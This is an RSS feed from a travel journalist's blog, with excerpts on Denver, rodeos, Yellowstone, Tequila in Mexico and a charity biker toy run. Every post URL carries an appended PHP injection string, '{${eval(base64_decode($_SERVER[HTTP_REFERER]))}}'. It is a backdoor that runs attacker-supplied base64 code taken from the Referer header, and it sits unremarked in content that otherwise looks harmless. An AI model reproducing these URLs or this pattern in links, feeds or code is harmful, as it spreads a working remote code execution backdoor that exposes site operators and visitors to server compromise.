http://www.dianarowe.com/blog Travels of Journalist Diana Rowe (http://www.dianarowe.com) Mon, 15 Feb 2010 20:21:39 +0000 http://backend.userland.com/rss092 en Romance is in the air in February, especially in Denver metro, a cosmopolitan, yet laid back metro area that offer offers spectacular views of the Rocky Mountains, from just about anywhere. Perhaps that's why I think the Denver metro area is so romantic. Check out these suggestions for creating a ... http://www.dianarowe.com/blog/2010/02/06/denver-does-romance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ With the economy putting crunches to businesses, many are opting to hold meetings in their own backyard.  I recently wrote an article for Corporate & Incentive Travel magazine on exactly that topic: Meeting In Your Own Backyard You can hear the groans now when you announce that instead of your annual ... http://www.dianarowe.com/blog/2010/01/24/meeting-in-your-own-backyard/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ There are 30 million rodeo fans in the United States, according to the Professional Rodeo Cowboys Association, and more than 600 professional rodeos are held annually throughout the U.S. and Canada. Pick one or pick 'em all, but take a look at this article on 14-must see rodeos in Rodeo Travel, ... http://www.dianarowe.com/blog/2010/01/14/lets-go-rodeo/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Surprisingly, I've never made the sojourn to Yellowstone National Park,  and Wednesday I'll take a quick flight to Jackson Hole and trek my way to a national park that has been on my bucket list since I was a youngster. I'll be staying at several Xanterra Parks & Resorts: Old Faithful ... http://www.dianarowe.com/blog/2010/01/04/yellowstonejackson-hole/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I blogged about my trip to Tequila, Mexico, land of the spiky agave plants and  producer of my favorite spirit, tequila -- which is most definitely a spirited drink.  Check it out here: I admit to a fondness for tequila...but read about my October adventure to the Mexican town of Tequila ... http://www.dianarowe.com/blog/2009/12/16/tequila-mexico-%e2%80%94-not-just-a-day-trip-any-more/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I'm so excited to announce that I will be joining the TravelMom Blogger Network as the new (and only!) TravelingGrandMom. I'm excited to share my personal travels as a young baby boomer and GrandMom to my pride and joy, my two grandhildren, Kaydence (age 5) and Ryland (age 3). What? You ... http://www.dianarowe.com/blog/2009/12/14/traveling-grandmom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Nothing brings a bad-ass biker dude to tears quicker than a child in need. Bikers might have a bad reputation, but when it comes to kids, they're suckers. Combine motorcycles and kids and you have one big fuzzy event.  We call this the Hope House Toy Run, and I'm happy ... http://www.dianarowe.com/blog/2009/12/02/a-toy-story-biker-harleys-and-kids/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ If the mention of the word “travel” has you daydreaming of days gone by, then explore the Online Travel Auction, open to the public, at www.satwauction.com, hosted by the Society of American Travel Writers. Now through Friday, November 20, you can make your vacation dreams come true by bidding on travel-related ... http://www.dianarowe.com/blog/2009/11/09/online-travel-auctiontravel-at-the-click-of-a-mouse/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ One of those crazy months where I've been chasing time zones. I began in Scotland for golf to England to visit my friend, to a stop back in Denver to re-pack and head to SATW's convention in Guadalajara with a pre-trip to the lovely town of Tequila. That was October. After 1 ... http://www.dianarowe.com/blog/2009/11/07/whirlwind-of-travels-costa-rica-and-mexico/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I'm gazing out my window, lost in the world of travels. My monitor is in front of me, but my mind is already on the plane heading to Scotland. (Click here for picture of Piper at Balmoral Hotel ) Truth is my mind always jumps to the next place, the next adventure, even while ... http://www.dianarowe.com/blog/2009/09/22/scotland-on-my-mind/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/